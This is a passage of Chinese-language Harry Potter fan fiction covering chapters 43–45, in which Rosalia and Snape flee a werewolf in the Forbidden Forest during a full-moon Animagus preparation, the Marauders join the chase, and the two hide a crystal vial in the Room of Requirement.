卢平吸了一大口气:“天文学课——月相图——周一要交——今天晴空万里,詹姆——我今晚画不了月相图了——西里斯说求我放过他——彼得说他自己都画不明白——我想拜托你——”
詹姆不解道:“莱姆斯,你是不是傻了?你把望远镜和羊皮纸带回家去画呗。你要是周一回不来,就让猫头鹰给你送,我们帮你一起交。”
卢平张了张口,最后道:“也对。”
詹姆狐疑地盯着他:“那……我继续去训练了?十一月马上要比赛了。你还有什么事儿吗?”
“有。”卢平道:“你知道莉莉在哪吗?”
闻言,詹姆的脸一下子变得跟游走球一个颜色了。他道:“我怎么知道伊万斯在哪。你不如去问鼻涕精吧,我看他俩关系可——好了!他们下课还一起逗、猫、玩儿呢!伊万斯笑得可——开心了!”
卢平觉得他的腔调也快赶上游走球的路线了。不过他倒是想起了什么:“逗猫?你是说阿黑吗?”
“确实是黑色的。”詹姆哼一声,道:“你找伊万斯干什么?我劝你别去找她,哥们,你十有八九会碰见那个黏糊糊的鼻涕精的。我主要是不想让你碰见他,你懂吗?”
“行,没问题。”卢平答应得意外爽快,他说:“你去训练吧,詹姆。下周见。”
“再见——”
詹姆身体前倾,扫帚“嗖”地一下把他的尾音和头发拉长了。他飞入混乱的训练队伍中,一把抓住队友投掷过来的鬼飞球,扔进了对面的圆环。
挥汗如雨正巧赶上一阵呼呼冷风,詹姆被吹得打了个冷颤。发间的汗水沁得他头脑清凉,他望向卢平离开的方向,自言自语起来:“不对啊……他上个月不是也——那天正好也是——”
43. 满月
“二、四、六……十、十二块,应该够了吧……”
罗萨利亚将新鲜出炉、完好无损、且足有她巴掌大的黄油曲奇饼小心地装进盒中。还好之前跟着泰德学过烘焙技巧,这下能用上了——她从霍格沃茨厨房溜了出来,直奔城堡外的海格小屋。
今晚就是第二个满月了。
在行动之前,罗萨利亚打算从海格那儿打探一下有关狼人的最新消息——尽管麦格教授当年采露的地点并不深入,她还是打算谨慎一些——必要时,她会直接摄神取念。
热腾腾的温度穿过铁皮盒子渗到罗萨利亚的指尖。海格小屋近在眼前。她加快了脚步,正准备抬起手敲门,却听见窸窸窣窣的交谈声从紧闭的窗帘后传来。
“……狼人只是一部分,布瑞兹,就我所知,他在竭尽所能地拉拢一切可能的对象……”
“……巨人?这不可能,他们没有脑子,只有蛮力——”
“力量。有力量已经足够了,我只怕他们已经……你对巨人的大致方位应该……布瑞兹,我需要……还有海格——”
“还有他?他负责——?我坚决不同意!邓布利多教授,恕我拒绝,我不信任——”
“我也不愿意!先生……我是说,如果能换一个人带路——”
“请你们停一下——我想你有客人来了,海格。”
激烈的交谈声停下来了。
下一刻,海格小屋的门从里面打开。罗萨利亚正摆出敲门的姿势,说道:“……下午好,海格。”
“……哦,是你!罗塞拉!”挤在门边的海格看到她,脸色好了许多,但很快,一种防御的表情替代了这份友好:“呃,你来这儿干什么?”
“抱歉,打扰你……们了。我是来回礼的,海格。上次关禁闭的时候,我没吃晚饭,是你请我吃了岩皮饼。我一直想着怎么答谢你。”罗萨利亚把装着曲奇饼的盒子举高,说:“所以,我花了一段时间学习怎么做曲奇,你要尝尝吗?”
“……梅林的胡子!”海格的语气显然是惊喜的,他把盒子打开了——那些曲奇的尺寸对他来说正正好——他道:“我根本没想过……”
“海格,也许你可以请拉文谢德小姐进来坐坐?”邓布利多的声音从里面传来。
片刻后,邓布利多、布瑞兹和海格手里就各自拿上了一块黄油曲奇。
布瑞兹虽然拿着,但看起来没有要尝一口的意思。海格吃得胡须上都落了渣,还时不时抽嗒鼻子。而邓布利多在咀嚼过后,发出了享受的声音,说道:“热乎乎的,奶香浓郁、黄油味十足!适合搭配一杯甜饮——海格,你介意给我来一杯吗?布瑞兹教授,你也尝尝吧。”
海格起身去拿蒲公英果汁,眼睛却没离开布瑞兹手里的黄油曲奇,似乎很不情愿看到它被她咬掉一口的样子。终于,在他忿忿的视线下,布瑞兹放走了那块曲奇,说:“谢谢,但我还是不吃了。另外,我觉得学生继续留在这里不太合适,邓布利多教授。”
罗萨利亚道:“那我……”
“拉文谢德小姐毕竟带来了曲奇,布瑞兹教授。”邓布利多朝她看过来,微笑道:“你当然可以再多坐一会儿,小姐,正好,我们在讨论上回在办公室聊过的内容。”
罗萨利亚刹住了向海格探去的摄神取念,心中有些意外。她重新坐回凳子上,说:“哦……您是指禁林里狼人的事吗?”
“是的。”邓布利多举着黄油曲奇说:“为了不惊扰学生,魔法部派人从霍格莫德村进入禁林,在海格和马人族的帮助下陆陆续续找到了那些逗留的狼人,将他们安置了起来。这件事还让我们得到一个消息:狼人社群内部正因矛盾而分裂。”
就仿佛真的不介意有学生在场似的,他茶后闲谈般说:“多数狼人已经开始有组织地在满月前后游荡在外,甚至对一些小镇展开袭击。魔法部一直在设法抓捕他们。少数狼人因为拒绝配合集体行动而遭受欺压,甚至被攻击。迫于无奈,他们远离了原本的居所,其中的一些便是因此暂避在禁林中。”
“所以……现在这些狼人都离开了吗,教授?”罗萨利亚自然地问:“我得继续我的禁闭了?”
“我只能说,他们的数量已经得到控制,不会像上次那样在禁林外缘地带活动了。”邓布利多瞧着她说。
说完,他又看向布瑞兹:“不过,在魔法部有更新的抓捕消息前,我不建议重启与禁林有关的禁闭活动。”
“好吧。那么您刚才提到的另一件事呢?”布瑞兹隐晦地说。
邓布利多湛蓝的目光透过半月形眼镜注视着布瑞兹,道:“我希望你能考虑,布瑞兹教授,慎重考虑。我选择早一些告诉你和海格,就是为了让你们有时间讨论和规划这件事——圣诞节假期前给我答复,好吗?”
布瑞兹不作声。海格则闷闷地点头。罗萨利亚见状,适时地说:“教授、海格,时候不早了,我就不打扰了。”
“正好,我也打算回去了。”邓布利多也站了起来:“也许你们俩愿意单独聊聊?”他对布瑞兹和海格说,虽然这两位看起来并不情愿。
罗萨利亚跟着邓布利多从拥挤的小屋走了出来。她安静地缀在对方的金色斗篷后面,朝着学校的方向走去。
邓布利多望着天际,深吸一口气:“呼,现在气温下降得真是厉害啊。那棵树——叶子全黄了,金灿灿的。”
罗萨利亚顺着邓布利多所指的方向瞧去,发现他说的正是那棵打人柳。紧接着,她又在那些金色的枝条附近看到了一个男孩。
是卢平。
罗萨利亚茫然地看着卢平跑来,心道:今天是满月、现在也是秋冬的下午没错。月亮还没升起来……她这——不算是撞见他去打人柳了吧?
邓布利多显然也注意到了卢平,他回头看了罗萨利亚一眼,问:“我猜他是来找你的?”
罗萨利亚又一愣:“找我?”
卢平走过来了,他似乎因为看到了邓布利多的身影而感到惊讶:“邓布利多教授,下午好。”
邓布利多问候道:“卢平先生,你是来找拉文谢德小姐的吗?”
卢平抿着嘴点点头。
邓布利多便愉快地道:“那你们两个年轻人聊吧,我先走了——不过,注意时间,”他抬起食指指向头顶天空,“冬天马上就要来了。”说完,他慢悠悠地朝城堡踱去了。
草地上很快只剩下了两个少年。
卢平率先开口解释道:“我只是来碰碰运气——我刚从魁地奇场地过来,之前,我听西里斯还有詹姆说过,偶尔能在打人柳附近看见你。”
原来如此,果然是他们。现在罗萨利亚倒不是很惊讶了。她道:“哦,我之前确实喜欢在附近散步。你找我有什么事吗,莱姆斯?”
“我确实有事情拜托你。”卢平有些为难地说:“我要临时回家一趟,周一回不来,所以能不能拜托你……帮我测绘今夜的月相图?”
罗萨利亚道:“没问题。”
“真的?你答应了?”卢平道。
“是啊。也不是什么大事。”罗萨莉亚说:“周一你需要我帮你一起交吗?你可以把你的月相图先放我那儿。”
“太好了!那我、那我让猫头鹰给你。”卢平眼睛闪着光,嘴角扬起来了:“真的谢谢你,罗萨利亚。我——如果你之后有什么要帮忙的,也可以找我。时间不太早了,我还要回去收拾一下要带走的东西……”
罗萨利亚点点头:“那你快去吧,别耽误回家。”
“好——谢谢!”卢平说完,挥手跑了起来,然而他不断地回头,没注意脚下的碎石块,直接被绊得一趔趄,差点栽倒。罗萨利亚赶紧挥杖念咒,隔空揪住了他的巫师袍。
卢平勉强维持住平衡后,很快躬起身子抱住了自己的腿。尽管一声没吭,但单从表情看就知道疼极了。然而他见罗萨利亚想要追上来查看,又连连高呼“不用麻烦”,一瘸一拐地朝城堡跑去。
他不敢放慢步伐,因为满月随时会从脚下升起——
升入中天。
“你为什么还没画完?”
夜幕覆地,打人柳附近一片空荡荡的草坪上,忽然凭空传出一道声音。
紧接着,是第二道:“我的那份画完了。”
话音刚落,一截望远镜的镜筒竟然凭空出现了,不过下一秒它就又消失了。
罗萨利亚把小型望远镜往回拉了拉,顺势朝抱着穆宁的斯内普身边靠去。夜读灯在两人之间散发着微弱的温度。
她说:“现在画的是莱姆
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斯的。”
斯内普“哼”一声,往另一侧挪走了。冷空气一下挤进了隐形斗篷搭起的小帐篷里。罗萨利亚赶紧抓住他的袍子:“别走——马上、马上就好了。”
斗篷之外,装有曼德拉草叶片与唾液的水晶瓶正充分接受满月月光的照射,现在,气温已经逐渐下降到凝露点,等画完手上的月相图,她就该去禁林采露了。而之后藏匿瓶子的地点,她也早已选好——就在菜地正后方靠近黑湖的围墙下面。
这样,等到雷电天气,她就可以把它挖出来,在水陆交叉又人迹罕至的地方开始变形。
斯内普看向嘀咕钟,问:“你确定不需要我跟你一起去禁林是吗?”
罗萨利亚下笔飞快,回应道:“真的不用,你在外面等我就好。采露过程本来也需要变形者本人独立完成。如果有问题,穆宁会第一时间来找你。”
穆宁安静地梳理自己的羽毛。
“做准备应该是为了消除问题,而不是为了给问题善后。”斯内普微微蹙眉:“还是说你认为会有什么可能的意外,罗萨?”
“世上本就没有万全之事嘛……”罗萨利亚没有抬头,心道,斯内普还是太敏锐了。
因为从一开始就没想真的让斯内普涉险,所以她也一直没告诉对方前段时间禁林中狼人异常的事。
风险无论如何都会有。至少,邓布利多的话总是可靠的。现在,箭在弦上不得不发——曼德拉草叶片已经离开她的嘴了,她也不会让它再回来了,绝对不……
“好了!”
标完星座,罗萨利亚终于收尾。她将羊皮纸、羽毛笔、墨水和望远镜拢到一起,召唤了小精灵劳伊,让其将这些东西小心地放回休息室。
她拿起水晶瓶,目光炯炯地望向不远处漆黑的禁林,道:“我准备好了。”
“走吧。”
小天狼星放下手持望远镜,不可思议地望向詹姆:“等等,你是怎么发现的?我是说,如果他们穿的真的是——”
“隐形斗篷。没错。”詹姆迈出去的步子一收,脑袋悬浮在空中得意地晃动,说:“不是所有隐形斗篷都像我爸爸给我的这件,西里。我敢说,没有谁的隐形斗篷能比得上我的!”
彼得在一旁哈欠连天地捧场:“没错!”
“你得仔细看——看,他们动了!动起来显眼多了。”詹姆那没被望远镜挡住的下半张脸流露出尽在掌握的神情:“我猜那件隐形斗篷,估计是用隐形兽的毛发编织的,很稀罕,但明显有年头了,月光照射下能瞧出褪色的痕迹——我的这件就从不会出现这种问题。”
小天狼星也立刻拿起望远镜看去——他不得不承认,事情确实像詹姆所说的那样。
“怎么样?”詹姆整理眼镜,抛接着手中的望远镜志得意满地道:“我说过我会抓住他们的,我就知道他们今晚一定会行动——下午训练的时候,我看得一清二楚,莱姆斯跛着脚从打人柳往回跑,撒谎精高举魔杖在后面追他!我当时差点就骑着扫帚冲过去了!但为了不打草惊蛇,我忍住了——”
“等等、等等!”小天狼星道:“詹姆斯,你认真的?你真的认为鼻涕精和撒谎精在每月满月的时候,拿莱姆斯做黑魔法实验?莱姆斯还能由着他们?他的黑魔法防御可不赖——我以为你只是拿那俩人给自己找点乐子?”
“找乐子?也可以这么说吧,西里斯,这难道不有趣吗?而且,万一莱姆斯是有什么把柄在他们手上呢?”詹姆敞开自己的隐形斗篷,兴致勃勃,仿佛是在邀请同伴加入某场游戏:“走吧,别犹豫了,不管是为了什么。你难道不想知道他们去干什么了?西里——这都不像你了!”
小天狼星瞬间被詹姆说动了。是啊,他有什么好犹豫的?明明是这两人欠他的——他在天文塔还发过誓,要让鼻涕精也吃一次闷亏呢!这不正好是机会么。
这样想着,他渐渐找回了以往夜游时的兴奋,和彼得一起钻入了隐形斗篷,啧声说道:“别侮辱我,詹姆。我那是对这俩书呆子不感兴趣。要我说,他们到禁林只有一种可能,那就是做DADA的课前预习去了!”
闻言,詹姆仰起头咯咯大笑,吵醒了近旁熟睡的画像。隐形斗篷很快盖住了他们的脑袋,三个人在城堡中消失得无影无踪。
44. 月下狂奔
禁林茂密的枝叶随着罗萨利亚脚步的深入变得遮天蔽日起来。她甚至怀疑,直接在这附近找一丛灌木就能采集露水。
但她还是来到了麦格教授记忆中的那棵高耸的山毛榉树下。树荫把天空完完全全挡住了,连杂草都无法在它的笼罩下生长。这无疑是“七天无人踏足、无光照射”的最佳选址。(1)
穆宁在树梢之间安静地滑翔。罗萨利亚从怀中取出银器,在紧贴树根的苔藓上汲取颗粒般的水珠。
“嗖——”
听到声音,罗萨利亚猛地回过头去——呼,吓了她一跳,只是野兔而已。然而,她手上采露动作却加快了许多。
黑暗令她的其他感官被放大了数倍。脉搏涌动的咕咚声、衣物轻微摩擦的声音,夜风拂过树叶的动静、那只野兔穿过灌丛中、又迅速离开时踩踏的脆响、遥远的不知名的鸟叫的声音——她终于采好了!
罗萨利亚迅速将一茶匙露水倒入水晶瓶中,随后把自己的头发和死亡头鹰蛾的蛹壳也一并塞进去。完成了。她转头沿着来时的路往回走,心脏砰砰地跳着,黑暗中,她甚至觉得自己的脚步声也跟着变大了。
寒气不断从领口与袖口钻进来,罗萨利亚在林中穿梭着,她抬头寻找穆宁的身影,它还在——
“唔!”
她踩到了一团软绵绵的东西,一个踉跄,差点栽倒在地。
罗萨利亚下意识回头去看。然而,四周太黑,掀起的落叶又盖住了那触感异常的东西。于是,她直接点亮了魔杖。
还是那只野兔。
灰扑扑的。
眼睛瞪得老大。
瞳仁一动不动地映出荧光闪烁的光点——
它死了。
大概是因为死得太快了,一声尖叫都没来得及发出。旁边树干上有血迹,它就倒在那下面,腹部有一道渗血的可怖抓痕。
它是被拍死的吗?也许是、也许不。因为附近四五棵树上都有血迹,看起来,它变得一动不动之后,反而比活着时经历了更多——
“到时间了……已经到时间了……现在该去藏东西了……快点行动……”
嘀咕钟不合时宜地响了起来。在阴森寂静的环境中,玛丽安娜夫人的声音是如此诡异。罗萨利亚抬手想把它按掉,没能成功,它该死地又响了一遍:
“到时间了……已经到时间了……现在该去藏东西了……快点行动……”
“嘎——嘎——”
穆宁放声尖叫起来。
……这简直是在开玩笑了。
罗萨利亚往后退了一步,枯叶在她脚下尖锐作响。
这里——距离禁林外缘只有不到一英里!海格和人马族不是——邓布利多不是说——这太不正常了——这不可能……
然而她清晰地听见,前方两百米不到的位置,传来了一声狂笑般的嘶吼——
……邓布利多,我再也不相信你了!(2)
她举起魔杖,对那双发着绿光的眼睛喊道:
“统统石化!统统石化——”
两道咒语打了出去。
从天而降般,詹姆大叫着:“抓到你们了!”
他掀开隐形斗篷:彼得缩身钻了出去,小天狼星把玩着魔杖信步走来。后者快意地说:“干得漂亮,詹姆!”
小天狼星在彼得的掌声中走上前,朝禁林边缘的阴影处抓了一把,果然,抓到了隐形衣的兜帽。他抬手把它掀开了,斯内普的脑袋露了出来。如詹姆所预料的那样,他面朝禁林深处站着——现在,他“咚”一下僵硬地歪倒在树上了。
但是怎么只有他一个人——
小天狼星举起魔杖:“詹姆!”
“原形立现!”詹姆立刻喊道。
然而,除了一阵从禁林深处吹来的阴风,周围死寂一片。
见状,詹姆的表情恢复了。他意味深长地说:“看来,撒谎精不在这儿。但她肯定来了吧?她去哪儿了呢?禁林?”他把隐形斗篷叠起来收好,想要确保斯内普对此一无所知:“鼻涕精,你说我要不要把你拖进去陪她——西里斯,你觉得这主意怎么样?”
小天狼星绕到了斯内普面前。尽管对方看起来面无表情,但他就是觉得那双黑眼睛在憎恨地瞪着自己——一想到这儿,他的愤懑就一扫而光了。他冷冷地笑着说:“随你,詹姆。我没意见。”
这时,彼得却开口了:“莱姆斯……莱姆斯在哪?你们把莱姆斯怎么样了?”
当然,他的问题是不会得到任何回复的。
但这正是三人都关心的事。
于是小天狼星回望詹姆,后者默契地朝他点了点头,挥动魔杖,道:
“解咒——”“盔甲护身!”“速速禁锢!”
念咒声几乎是同时响起,又同时安静下来的。然而不过须臾,三个人就弄明白这些咒语的先后顺序——绳子落下了,斯内普吼道:“除你武器!”
彼得的魔杖被猝不及防地缴械了。强烈的冲击使得他本人一下飞了出去、栽倒在地。
詹姆马上举起魔杖:“除你武器!”
小天狼星也喊道:“统统石化!”
斯内普消解一个咒语的同时将斗篷扔出去挡掉了另一个,又趁着这个空隙躲到树干后,发射了驱逐魔咒。地面上的碎石随之翻滚起来,战栗而愤怒地朝着小天狼星和詹姆砸去。
他喊道:
“昏昏倒地——”
罗萨利亚拼尽全力奔跑着。她感觉腿上的筋都快抽开了。回去的路竟然如此漫长。
她往身后甩了一个昏迷咒,可狼人的嘶吼没有停下。她不清楚是自己没能击中它,还是魔咒没有起效。
快想!快想!对付狼人——关于对付狼人,书上是怎么写的?
对了,银器!(3)
就在这时,罗萨利亚听见狼人飞奔起跳的声音。她一瞬间做出了决定——
她解开巫师袍抛向高处,同时朝侧边纵身扑去、接一个翻滚站起来。头发散了,但是她无暇顾及,巫师袍破裂的声音就已经刺耳无比——
“障碍重重!”
魔咒结结实实地打中了狼人,但罗萨利亚没有任何停顿地继续跑起来。她知道狼人对这些咒语的抗性有多强。这根本拖不了多久。
她一边拉开距离,一边从怀里掏出银茶匙。魔杖挥动之下,银茶匙变成了一把锋利修长的匕首。紧接着,她就听见另一重奔跑的声音了,是狼人又动了起来!
胡桃木魔杖微微发颤,罗萨利亚用上了全部的力量去控制那把银匕首,在转头的一刹那,直直地朝着狼人的脖子掷去。
可匕首没能准确地刺穿咽喉,只是深深扎进了狼人的左肩头。她听见狼人停止了奔跑,随后,一道更恐怖的声音接着响彻云霄。
“嗷呜———嗷——呜——”
林中的生物被狼嚎声彻底惊动了。
真该死。罗萨利亚在心里大骂:真该死!她怎么就没买把银剑带着呢——这样至少能把它捅个对穿啊——
“……发生了什么?”
满月之下,斯内普、詹姆和小天狼星打斗的动作同时停下了。他们都发觉禁林上空忽然惊起了一片黑压压的飞鸟。
小天狼星问:“那是什么声音?”
詹姆喃喃道:“好像是狼嚎。”
斯内普猛地从树后跑出来,动作之大,让詹姆和小天狼星立刻重新举起魔杖。可他只是喊:“隐形斗篷飞来!”
詹姆下意识抓住自己别在后腰带上的隐形斗篷,不过,飞向斯内普的是那件隐形兽毛发编织的次品。
“嘎——嘎!嘎——”
渡鸦的叫声从禁林深处清晰传来。
在这急促又不详的声音中,小天狼星明白了什么,他难以置信地大喊:“鼻涕精,你别告诉我那是罗萨利亚——”
“不许你——喊她的——教名——”
斯内普大吼道。
他头顶的树叶刷地撕裂,如刀片般朝小天狼星袭来,而他自己却转头往渡鸦飞来的方向狂奔而去。
快了!快了!马上到了!
罗萨利亚看到什么了——梅林的胡子啊,在这么紧要的关头,在被一头狼人追赶的恐怖的关头,她望着前方,竟然莫名其妙想起了上次从禁林里出来、雷古勒斯对着黑漆漆草地上两个亮圆点高呼“阿黑”的样子。
她那时候又在想什么?对了,她当时在想,雷古勒斯到底是怎么确定那是一只猫的。现在——罗萨利亚盯着远处朝她奔来的黑影——她忽然就明白了。
她大叫道:“西弗勒斯——你个白痴——你跑反了——”
“飞沙走石——”斯内普喊道。
罗萨利亚身后的一棵树爆炸了,轰地一声。瞬息间,她的手腕被一股巨大的力量死死抓住
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——斯内普拉住了她,掉头就跑。
他在她耳边大声说:“你才是白痴!”
两个人朝着禁林边缘狂奔而去。
罗萨利亚很快看见了呆站在外面的詹姆、小天狼星和彼得。她来不及去想他们怎么会出现在这儿,只是远远地大骂:“你们更白痴!傻站着干什么!跑啊!狼人来了——穆宁也快飞——”
小天狼星和詹姆这才大叫着拉扯住彼得的左右两只胳膊奔跑起来。
太荒谬了。罗萨利亚心想。
狼人不可能真的进校园吧?
狼人不会真的——
她回过头去看,肩头插着银匕首的狼人站到了明亮的月光下。
它疯了。
“鼻涕精!撒谎精!你们是不是疯了——”詹姆大喊道。眼镜在他鼻梁上蹦跳。小天狼星也在大喊:“你们俩到底干什么了——”
彼得在他俩中间,被拽得几乎只有脚尖在奔跑:“啊啊啊——”
罗萨利亚真想给他们三个一人一个遗忘咒。但她举起魔杖,又朝狼人发射了障碍重重。詹姆和小天狼星见状也往后丢了两个咒语。但是他们都打偏了。
狼人还在追他们。五个人正在穿越菜地。
罗萨利亚恨恨地看着远处的围墙——那里有她挖好的坑——她管不了了。菜地不远处就是温室,罗萨利亚对斯内普说:“温室!三号温室!”
斯内普几乎是扯着她往温室的方向跑去。与他们并肩狂奔的詹姆和小天狼星也跟了过来。
罗萨利亚举起魔杖朝向三号温室:“阿拉霍洞开!”
三号温室的窗户“噌”地敞开了。
她大喊:“中国咬人甘蓝——飞来——小心脑袋——”
五个人同时低下头。一颗颗硕大、饱满、翠绿,以及满嘴成熟尖牙的中国咬人甘蓝从窗户里飞跃出来,一路菜叶伴唾液地翻滚过来,朝他们身后狼人咬去。
狼人的脚步被缠住了,愤怒地吼叫着。然而穆宁抓着一颗甘蓝就塞进它嘴里。
再往前就是黑湖了。湖面波光粼粼,月亮一个天上一个地下。詹姆远远地看到那棵耸立在湖边不远处的山毛榉树,眼睛忽然发出闪光,道:“西里!我们不能再这样跑了!”
小天狼星喘着粗气:“什么?”
詹姆大叫:“飞!我们会飞!狼人不会飞!”他魔杖高举天空:“詹姆斯·波特的飞天扫帚飞来——”
“西里斯·布莱克的飞天扫帚飞来——”
夜空下,两把扫帚一前一后地朝他们飞来。詹姆率先抓住了自己扫帚,一把将彼得推到上面,随后自己也跳了上去。他猛地一蹬地,飞天扫帚瞬间载着他们腾空而起。
小天狼星紧跟其后,双脚离开了地面。夜间的风从耳边呼啸而过,他听到詹姆在他头顶“呜呼”着,说道:“西里,你那还有没有上次没放完的烟花——”
小天狼星看向自己的扫帚柄,那里正挂着一个编织袋。他明白詹姆什么意思了——他把它摘下来,抛向空中:“没剩多少了!往城堡的方向放!詹姆!”
“那是当然了——”詹姆稳稳接住了装着烟花的编织袋。
“砰——砰砰——”
绚烂的烟花在城堡上空绽开了。小天狼星确信他看见猎场看守的小屋的灯亮了起来,然后是城堡里其他昏暗的房间。
他有意地往校长办公室望去——那里还是一片漆黑。
詹姆拿出了自己的隐形斗篷,把自己和彼得遮盖起来,喊道:“快走!西里斯!教授很快就会来了——我们不能被抓到——”
小天狼星当然知道。但他的目光重新锁定了还在被狼人追赶、正沿着湖边奔跑的两个人。他下定决心似的握紧了扫帚柄,说道:“詹姆!你先带着彼得走——”
“喂——!”詹姆在后面叫道。可小天狼星已经朝黑湖俯冲而下。
飞天扫帚尾巴在水面上划开锋利的涟漪,将餐盘般的月影搅乱成残羹酱汁。小天狼星瞄准那抹散乱的黑色长发,加速飞了过去。
他呼唤道:“拉文谢德!”
罗萨利亚·拉文谢德转过头来,表情和当时在赫奇帕奇餐桌附近发现他时一模一样。
在那双浅蜜色的眼睛倒映下,小天狼星看见自己向她伸出了手。
然而拉文谢德身后那个黑漆漆的影子,已经阴狠地朝他举起尖端闪烁红光的魔杖——
45. 有求必应
“盔甲护身!”
罗萨利亚举起魔杖喊道。
几秒钟前,她惊愕地发现西里斯·布莱克竟然追了上来。
那时候,她肾上腺素飙升、精神和身体双重紧绷、满脑子都是“自己为什么没买把飞天扫帚”——对方就在这时朝自己伸手了。
可还没等她反应过来这是什么意思,这人又见了鬼一样面色大变,收回手掏出了魔杖。
就在这一瞬间,罗萨利亚的防御本能快过了思考。
再回过神来时,小天狼星已经被她的铁甲咒弹了出去,人和扫帚贴着湖面翻滚两圈,袍子和头发都被浸湿了。
对方就那样呆呆地停在黑湖上方,没有再追来。
罗萨利亚真是搞不懂了,小天狼星到底想干嘛——不过他那副模样,却令她马上联想到了另一个人,一个不久前才在她脑中晃过的人。
她忽然有一种预感——虽然概率很小,但是,万一呢?她举起魔杖——
“雷古勒斯·布莱克的飞天扫帚飞来!”
罗萨利亚直接喊道。
斯内普立刻喘息着提醒:“一年级学生不允许带飞天扫帚!”
“我知道!”罗萨利亚更是已经上气不接下气了:“但是——但是——”
但是,她抬起头,确确实实有一把飞天扫帚在向她和斯内普飞来。
罗萨利亚朝扫帚伸出手,抓住了它,道:“我就知道雷古勒斯没看上去那么乖——”
她率先跳上扫帚,然后紧紧抓住斯内普的胳膊,将他也带了上来,道:“抱紧我!”
斯内普单手抱住她的腰,另一只手抖开隐形斗篷将两个人严实地罩住。狼人嘶吼着朝他们跳扑过来,但罗萨利亚已经近乎垂直地起飞了。
她的心脏砰砰直跳。眼前的夜空正旋转着,银河在流淌。她不自觉地说:“西弗勒斯,天上有好多星星。”
“……地面也有很多教授。”斯内普在她身后平静地说。
罗萨利亚低头望去——小天狼星已经不知道什么时候离开了。好几个穿着晨衣的人影正从城堡里跑出来,举着魔杖朝狼人发射魔咒。
而那狼人似乎也感到了恐惧,开始掉头朝禁林的方向奔去。
罗萨利亚知道现在不是观战的时候,她快速飞向距离他们最近的塔楼。一声轻轻的阿拉霍洞开,从里面锁住的窗户便敞开了。
穆宁率先钻进去探路,随后二人敏捷地翻入城堡,一起将雷古勒斯的扫帚揪了进来。
“咔。”
窗子关上了,走廊静悄悄的。
穆宁在地上走了两步,开始梳理自己的羽毛。
罗萨利亚靠着墙,累得瘫倒在地上。她感觉自己的喉咙都泛着腥甜。斯内普也在她身边坐下来,喘着粗气。
二人的头发都被汗水打湿了,黏糊糊地贴在脸上,四周没人,他们同时把隐形斗篷掀开了。
过了几息,罗萨利亚才开口解释道:“我——我回来的路上,碰见狼人了。”
斯内普:“……显然。”
罗萨利亚知道自己说了一句废话,但又不知道这事从哪儿说起合适,只好干巴巴地道:“我没想到,在距离学校那么近的地方也能碰见狼人……”
“水晶瓶还在吗?”斯内普问。
“还在,我把材料都放进去了。”罗萨利亚从上衣口袋翻出水晶瓶,说道:“就是不知道剧烈摇晃对它会不会有影响……”
“不会。”斯内普接过瓶子查看,道:“只需保证曼德拉草叶片和死亡头鹰蛾的蛹壳无破损即可——看起来没事。”(2)
罗萨利亚的心稍稍安定了,但她旋即又想起什么:“波特、布莱克和佩迪鲁怎么会……”
“波特看穿了我们的隐形斗篷。”斯内普简短说道。
“……什么?”罗萨利亚一愣,朝斯内普看去,这才发现他的额角被擦破了。她立刻反应过来,一股气直接冲到嗓子眼去了:“波特和布莱克攻击你了吗?”
斯内普道:“小点儿声。”
罗萨利亚深吸两口气,把嘴抿了起来,但眼睛还在他身上扫来扫去。斯内普看上去没什么事——她克制住了摄神取念的冲动,低头拿起一旁的隐形斗篷,迎着月光仔细查看……
“这斗篷在亮光下会闪。”罗萨利亚的胸口仿佛被灌了铅似的。斯内普一定是因为这个才被詹姆和小天狼星发现的。她低声说:“我居然没发现……”“世上本就没有万全之事。”
罗萨利亚抬起头。
紫杉木魔杖把遮挡住她神色的长发拨开了,斯内普说:“这是你自己说的,罗萨利亚。”
“我担心……”
“不用担心。”斯内普轻蔑地说:“倘若那三人还有点脑子,就该知道保持沉默,告密对他们也没有好处。尤其是……”他把手伸进怀里,又拿出了一根魔杖,“彼得·佩迪鲁的魔杖还在我手上。”
罗萨利亚愣愣地看着斯内普,他的脸明明也有些苍白,但声调却很平稳。于是她说:“……干得漂亮,西弗。”
斯内普轻轻笑了。
“眼下最重要的,是在天亮之前给你的水晶瓶找个地方呆着。别忘了,日出时你还要念咒。”他重新站起来。
罗萨利亚也跟着他从地上爬起来,问:“这是几楼?”
斯内普往前走了几步,望向墙上的挂毯,道:“八楼。这条走廊临近拉文克劳院长的办公室。”
“弗立维教授应该下楼了。”罗萨利亚从裤子口袋掏出被她一拳砸坏了的嘀咕钟,又用恢复如初修好了它。
她看了一眼时间:“现在所有教授们估计都在楼下。月落之前离开城堡风险太大……之前准备好的围墙地点已经算作废了……”
罗萨利亚说着,站到了斯内普身边。她注意到那挂毯下写着“巨怪棒打傻巴拿巴”,然而双腿的酸痛肿胀更加难以忽视,她一边原地踱步缓解着不适,一边喃喃思索道:“不论怎么看,现在我也只能把水晶瓶藏到城堡里了……但是霍格沃茨城堡内有什么地方是‘安静、黑暗、不受干扰’的?到处都是学生……”
而且还要考虑雷电之前漫长的等待时间——冬天是不会有雷电的,至少要到春夏。这么久,学校里有什么地方能让她一直安全地藏匿水晶瓶?
“罗萨。”
“嗯。”罗萨莉亚心不在焉地应了。
“罗萨利亚,看这边。”斯内普又道。
“什么……?”她不解地转头,而后脚步一下子停住了。
斯内普面对的墙壁上,竟然凭空出现了一扇光滑异常的门。他皱着眉头,念了一个显形咒,然而什么也发生——那门只是自己缓缓敞开了。门缝里面一片漆黑。
罗萨利亚则呆呆地看着:“这是——”
“荧光闪烁。”斯内普轻声道。
房间顷刻被魔杖的光照亮——它的空间比楼梯储藏室大不了多少。黑漆漆、静悄悄的。除了中央及腰伫立的底座外空无一物。
穆宁率先溜进了房间。斯内普举着魔杖,警惕地靠近底座,说:“这里有一个凹槽。”说完,他忽然意识到什么,又拿起水晶瓶放在一旁对比,语气透出一丝不可思议:“这个凹槽和你的瓶子的形状一模一样。”
“……对,一样就对了。”罗萨利亚站在门外,轻声说:“因为这里是——有求必应屋。”
……她怎么完全把有求必应屋给忘了?这么重要的一个房间,自己之前竟然一点也没想起来——如果要藏东西,那么还有比这里更适合的地方吗?
罗萨利亚心中涌起难以抑制的兴奋。这下什么都能解决了。自己之后的变形也可以选在这里进行——安全、隐蔽、还十分便捷。
斯内普问道:“你说这是什么地方?”
“有求必应屋。”罗萨利亚把飞天扫帚和隐形斗篷也一起拿进来,随后关上门。最后一点来自外界的月光也消失了。有求必应屋仿佛真的变成了角落里的楼梯间,仿佛只要躲进来
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,今晚乱七八糟发生的一切都与他们无关了。
